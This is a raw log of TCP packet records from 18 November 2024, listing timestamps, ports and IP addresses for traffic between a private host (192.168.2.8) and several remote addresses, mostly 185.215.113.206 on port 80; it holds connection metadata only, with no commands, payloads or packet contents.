Nov 18, 2024 13:29:30.431155920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.431200027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.431360960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.431420088 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.431474924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.475855112 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.475887060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.475899935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.475954056 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.475992918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.504633904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.504663944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.504678011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.504729033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.504806995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.504820108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.504832983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.504848003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.504879951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.504894972 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.504945040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.504985094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.505108118 CET	49797	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:30.505156994 CET	443	49797	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:30.505400896 CET	49797	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:30.505408049 CET	49798	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:30.505451918 CET	443	49798	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:30.505546093 CET	49798	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:30.505706072 CET	49797	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:30.505717993 CET	443	49797	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:30.505959034 CET	49798	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:30.505975962 CET	443	49798	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:30.537452936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.537491083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.537506104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.537519932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.537522078 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.537539959 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.537579060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.537599087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.537611961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.537653923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.537738085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.537750959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.537765026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.537811041 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.545799971 CET	443	49793	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.546295881 CET	49793	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.546314001 CET	443	49793	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.546803951 CET	443	49793	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.547461033 CET	49793	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.547498941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.547517061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.547548056 CET	443	49793	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.547565937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.547611952 CET	49793	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.547622919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.547658920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.547688961 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.547713041 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.547847986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.547907114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.547920942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.547949076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.547974110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.547981977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.547996044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.548197031 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.548235893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.548470020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.595345020 CET	443	49793	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.601998091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.606919050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.679945946 CET	443	49793	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.680614948 CET	443	49793	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.680757046 CET	49793	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.681220055 CET	49793	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.681237936 CET	443	49793	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.809153080 CET	49799	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:30.809179068 CET	443	49799	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:30.809722900 CET	49799	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:30.810904980 CET	49799	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:30.810919046 CET	443	49799	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:30.857858896 CET	443	49794	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.858154058 CET	49794	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.858169079 CET	443	49794	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.858526945 CET	443	49794	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.859066010 CET	49794	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.859138966 CET	443	49794	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.859267950 CET	49794	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.881480932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.881522894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.881536007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.881535053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.881561995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.881577015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.881613016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.881659031 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.881664038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.881690979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.881731987 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.881867886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.881921053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.881934881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.881966114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.881984949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.882121086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.882169008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.882183075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.882196903 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.882210016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.882225990 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.882278919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.882291079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.882304907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.882318974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.882339001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.882352114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.882909060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.882931948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.882957935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.882992029 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.883008957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.883117914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.883164883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.883187056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.883342981 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.903342009 CET	443	49794	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.904061079 CET	49794	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.990613937 CET	443	49794	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.990639925 CET	443	49794	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.990705013 CET	49794	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.990720987 CET	443	49794	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.990739107 CET	443	49794	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.990866899 CET	49794	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.991873026 CET	49794	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.991889000 CET	443	49794	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:31.038398981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.038412094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.038427114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.038439989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.038453102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.038470030 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.038508892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.038517952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.038542986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.038557053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.038606882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.038913965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.038925886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.038938999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.038969040 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.038997889 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.039216042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.039230108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.039280891 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.039439917 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.039539099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.039551973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.039566040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.039585114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.039598942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.039685965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.039700031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.039715052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.039724112 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.039729118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.039746046 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.039866924 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.039896965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.039911032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.040507078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.040518999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.040570974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.040684938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.040699005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.040714979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.040729046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.040735960 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.040740967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.040745020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.040767908 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.040800095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.040838957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.040875912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.041332960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.041378975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.041512966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.041526079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.041575909 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.099900007 CET	443	49797	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:31.100167036 CET	49797	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:31.100179911 CET	443	49797	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:31.100519896 CET	443	49797	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:31.101646900 CET	49797	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:31.101716995 CET	443	49797	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:31.107034922 CET	443	49798	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:31.108043909 CET	49798	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:31.108062029 CET	443	49798	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:31.109114885 CET	443	49798	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:31.110553026 CET	49798	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:31.110553026 CET	49798	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:31.110626936 CET	443	49798	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:31.154526949 CET	49797	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:31.154649019 CET	49798	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:31.154670000 CET	443	49798	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:31.155839920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.155853987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.155910015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.155936003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.155960083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.155972958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.155989885 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.156025887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.156141996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.156153917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.156167030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.156182051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.156198025 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.156208992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.156234026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.193629026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.193682909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.193694115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.193696976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.193732023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.193732023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.193744898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.193772078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.193778992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.193809986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.193886042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.193933010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.193968058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.193980932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.194021940 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.194046974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.194061995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.194325924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.194382906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.194436073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.194447994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.194478989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.194494009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.194531918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.194545031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.194578886 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.194835901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.194861889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.194875002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.194880962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.194910049 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.194967031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.195049047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.195069075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.195081949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.195094109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.195101976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.195118904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.195133924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.199341059 CET	49798	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:31.275916100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.275939941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.275953054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.276038885 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.276096106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.276109934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.276124954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.276170969 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.276201963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.276213884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.276259899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.311732054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.311747074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.311760902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.311779976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.311790943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.311811924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.311868906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.311901093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.311923981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.311937094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.311949015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.311978102 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.312030077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.312082052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.312225103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.312274933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.312285900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.312294006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.312314034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.312334061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.312417984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.312444925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.312484980 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.312707901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.312751055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.312753916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.312764883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.312804937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.312881947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.312921047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.312961102 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.312980890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.312993050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.313019991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.313030958 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.313057899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.313384056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.313443899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.313446999 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.313457012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.313488960 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.313500881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.313565969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.313577890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.313590050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.313616037 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.313648939 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.392072916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.392111063 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.392126083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.392138004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.392152071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.392154932 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.392185926 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.392203093 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.392219067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.392231941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.392271042 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.392324924 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.392376900 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.414809942 CET	443	49799	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:31.415055037 CET	49799	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:31.415080070 CET	443	49799	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:31.415431023 CET	443	49799	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:31.415869951 CET	49799	443	192.168.2.8	23.221.22.197
Nov 18, 2024 13:29:31.415931940 CET	443	49799	23.221.22.197	192.168.2.8
Nov 18, 2024 13:29:31.429771900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.429788113 CET	80	49746	185.215.113.206	192.168.2.8
